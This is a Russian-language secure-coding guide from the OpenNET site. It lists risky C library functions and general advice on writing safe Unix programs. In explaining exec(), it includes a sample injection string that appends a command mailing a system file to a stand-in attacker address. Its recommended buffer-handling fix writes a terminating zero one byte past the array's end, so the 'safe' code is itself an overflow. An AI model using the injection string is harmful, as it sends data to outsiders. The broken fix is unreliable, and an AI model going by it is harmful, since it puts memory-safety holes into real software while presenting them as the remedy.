The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Как избежать проблем безопасности в своих программах.

 
Библиотечные функции, которыми опасно (или наоборот нужно) пользоваться.
Функция Описание возможных проблем
exec() (в! ) Есть опасность запустить не совсем то, что нужно :) Используйте execl. execle. exect или execv, c указанием полного пути до запускаемой программы. Если аргументы для функции формируются из данных принятых от пользователя, эти данные нужно подвергнуть жесточайшей проверке и удалению всех воспринимаемых системой служебных символов, иначе пользователь может задать что-нибудь подобное: "user ; cat /dev/passwd |mail hacker@hacker.org" и таким образом запустить любую нежелательную команду. Особое внимание следует уделять при вызове этой функции из CGI программ.
getenv() (п) Возможно переполнение буфера. При копировании скомпанованной функцией строки, эта строка может оказаться гораздо большего размера, чем предполагалось. Так же нужно отслеживать неоднократное объявлением одной и той же переменной среды. Вероятно, что злоумышленник может попытаться установить переменную среды в недопустимое или не предполагаемое значение, будьте осторожны. 
gethostbyaddr() (п) Функция может возвратить подтасованную злоумышленником информацию, для полной достоверности полученную информацию нужно проверить с помощью обратного преобразования. Возможны попытки переполнения буфера программы осуществляющей анализ возвращаемых функцией значений.
gethostbyname() (п) см. gethostbyaddr()
getopt() (п) Осторожность не помешает, следите за соответствием размера возвращаемого значения - размеру отведенного буфера.
getpass() (в) После вызова этой функции необходимо скопировать и обнулить введенный пользователем текст в области памяти функции, для избежания подсматривания или подмены.
gets() (o) Никогда не используйте ! Пользуйтесь read и fgets. В функции отсутствует проверка допустимых границ.
mkstemp() (и) Перед созданием временного файла, убедитесь в его уникальности. При создании файла используйте совместно флаги O_EXCL и O_CREATE. Если необходимо воспользоваться уже существующим файлом, удостоверьтесь что данный файл не является символической ссылкой, с помощью функции lstat(). Предпочтительно пользоваться функцией mkstemp().
mktemp() (o) Никогда не используйте ! см. mkstemp()
open() (в) см. mkstemp()
popen() (в!) см. exec()
realloc() (в) Убедитесь в правильности использования данной функции, иначе будут сплошные coredump.
realpath()  Осторожность не помешает.
scanf() (в) см. gets()
setgid() (и) В случае запуска программы с root правами, требуется определенная осторожность, если есть возможность необходимо понизить уровень привилегий.
setuid() (и) см. setgid()
sprintf() (в) Используйте с большой осторожностью ! Возможно переполнение буфера. Используйте snprintf(), strncat(), strncat() или sprintf(newstr,"%.*s",size,str).
stat() (и) см. mkstemp()
strcat() (в) см. sprintf()
strcpy() (в) см. sprintf()
strncat() (в) Не забывайте особенности работы strncat() и strncpy(). strncat() всегда добавляет конечный \0, в то время как strncpy(), этого не делает ! При использовании strncpy, следите за добавлением '\0'.
strncpy() (в) см. strncat()
syslog() (в) Может произойти переполнение буфера syslog'а, максимальный размер пересылки не должен превышать 1024 байта. Так же важно предусмотреть ограничение интенсивности потока log данных, что бы не произошло переполнение log файлов.
system() (в!!!!)  Лучше во обще не используйте ! см. exec()
tempnam() (в) см. mkstemp()
tmpfile() (в) см. mkstemp()
Современные компиляторы,например egcs, позволяют предотвратить использование некоторых опасных приемов.(большую пользу может оказать директива -Wall)
Здесь можно скачать систему для проверки программ на наличие опасных вызовов.
Набор макросов позволяющих избежать опасного влияния strcpy,strcat,[v]sprintf.
о - опасно, лучше не использовать | п - проверяйте возвращаемые значения | в - внимание, требует осторожности | и - желательно использовать
 
 
 
Как сделать свои программы безопасными ?
Убедитесь в правильности использования функций, представленных в вышеприведенной таблице "Библиотечные функции, которыми опасно пользоваться". 
Тщательно проверяйте все аргументы, переданные посредством командной строки. 
Не забывайте анализировать коды, возвращаемые системными вызовами. 
Если какие-либо параметры воспринимаются программой из переменных системного окружения (environment variable) или других внешних источников доступных пользователю, то эти параметры должны подвергаться тщательной проверке. 
Вы должны быть уверены (лишняя проверка никогда не помешает), что всем буферам вашей программы не грозит переполнение и обращение к этим областям производится в пределах допустимых границ. Проводите проверку переполнения границ всякий раз, когда помещайте что-либо в буфер. 
Перед тем как открыть файл, убедитесь, что он не является символической ссылкой на уже существующий файл. Используйте флаги O_EXCL и O_CREAT, не забывайте о существовании функции lstat()
Создавая файл, позаботьтесь о правильности задания прав доступа к этому файлу. 
Никогда не создавайте setuid или setgid shell скриптов. Пользуйтесь setuid или setgid программами только в особых случаях, при отсутствия другого выхода. 
Всегда указывайте полный путь до нужного файла, не полагаясь на переменную среды PATH. 
Запретите программам генерировать coredump. Для этого воспользуйтесь системным вызовом setrlimit() или командой bash "ulimit -Sc 0". 
Ведите детальный log файл, но не включайте в log информацию полученную от пользователя, например строку в config файле, где была обнаружена ошибка, достаточно вывести номер ошибочной строки. Следите за интенсивностью и объемом поступающих в log данных, что бы избежать переполнения дискового пространства и буфера системы syslog. 
Старайтесь сделать критические участки вашей программы как можно проще и короче. Ярким примером прекрасно реализованного, в плане безопасности, приложения является система QMAIL
Будьте внимательны с условными операторами. 
Не забывайте устанавливать ограничения и тайм-ауты, при передаче или приеме данных по сети.
Если ваша программа оперирует с данными идентификации, позаботьтесь о недоступности этих данных для злоумышленников, активно использующих packet sniffer'ы. Применяйте шифрование.
Не принимайте запрос на соединение с клиентом использующим номер порта который зарезервирован для серверных приложений (меньше 1024). Например, злоумышленник может послать фиктивный пакет от сервиса echo. 
Замечание от Alex Korchmar: Существует масса поводов наоборот, не соединяться с незащищенными сервисами (пример - ssh с форвардингом портов). Это забота человека, настраивающего файрволл, вовсе ни к чему  предвосхищать ее в прикладной программе, сужая область применения. Злоумышленник, приславший настоящий пакет от имени echo, уже сидит на этой машине рутом и спасать ее уже поздно. Спуфнутый пакет от echo  слетит по rst.  Тот, кто может стравить эхо с чаргеном - уже серьезно  поимел сеть (скорее всего у него есть рутовые права на машине, озволяющей  перехватывать сетевой траффик) и лечить этот случай бесполезно. Все равно,  что тщательно запирать форточки, когда входную дверь тараном выбили. Известная bounce attack устроена совершенно иначе. Если речь здесь шла об udp, то про него надо писать много и отдельно.
#define BUFFER_SIZE 256 
char buffer[BUFFER_SIZE]; 
[...] 
     strncat(buffer,some_string,BUFFER_SIZE); 
или 
     strncpy(buffer,some_string,BUFFER_SIZE); 
     printf("%s",buffer); 

Что будет дальше, если some_string длиннее чем BUFFER_SIZE ? Ничего хорошего. 
Нужно делать: 
#define BUFFER_SIZE 256 
char buffer[BUFFER_SIZE]; 
[...] 
     strncat(buffer,some_string,BUFFER_SIZE-1); 
или 
     strncpy(buffer,some_string,BUFFER_SIZE); 
     buffer[BUFFER_SIZE] = '\0'; 
     printf("%s",buffer); 
 

Временные файлы должны иметь уровень доступа 600 (-rw-------). 
Замечание от Alex Korchmar: Не менее полезно: unlink(fd=open(tmpfile, O_CREATE|O_EXCL, ...)); 
В этом случае файл появляется в каталоге на доли секунды, вне зависимости от permissions использовать это трудно. Особенно, если имя подобрано mkstemp. Программы, работающие таким образом, считаются вполне безопасными.
Если программа запускается из под root'а, сбрасывайте привелегии как можно раньше используя функцию setuid()
Закрывайте файловые дескрипторы, сразу после использования, а не в конце программы. 
При использовании  фиксированных по размеру буферов,  в местах где употребляется размер этих буферов, применяйте sizeof() или макроопределения, но не цифровое значение размера (что бы не беспокоиться, если вы измените размер буфера). Например, вместо some_prog (buffer, 1024); лучше использовать some_prog (buffer, BUF_SIZE ); или some_prog (buffer, sizeof(buffer));.
Продолжение следует......

 Если вы хотите что-то добавить......
 
 
Список первоисточников.
A methodology for avoiding the security holes   Security Code Review Guidelines
Writing Safe Setuid Programs Writing More Secure Software
Security Do's and Don'ts for Programmers GNU Coding Standards
Writing Secure SUID and Network Programs Writing secure CGI scripts
WWW Security FAQ Security-Audit's FAQ
How to Write Buffer Overflows Smashing the Stack for Fun and Profit
Buffer-Overflow Attacks Smashing the Stack
Bounds Checking for C COMP.SECURITY.UNIX
D. J. Bernstein homepage UNIX portability notes
Security in Open Systems NIST Computer Security Special Publications
Security archive [Bugtraq, Linux Security,Linux Security Audit Project,Rootshell, etc]
Secure UNIX Programming FAQ



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру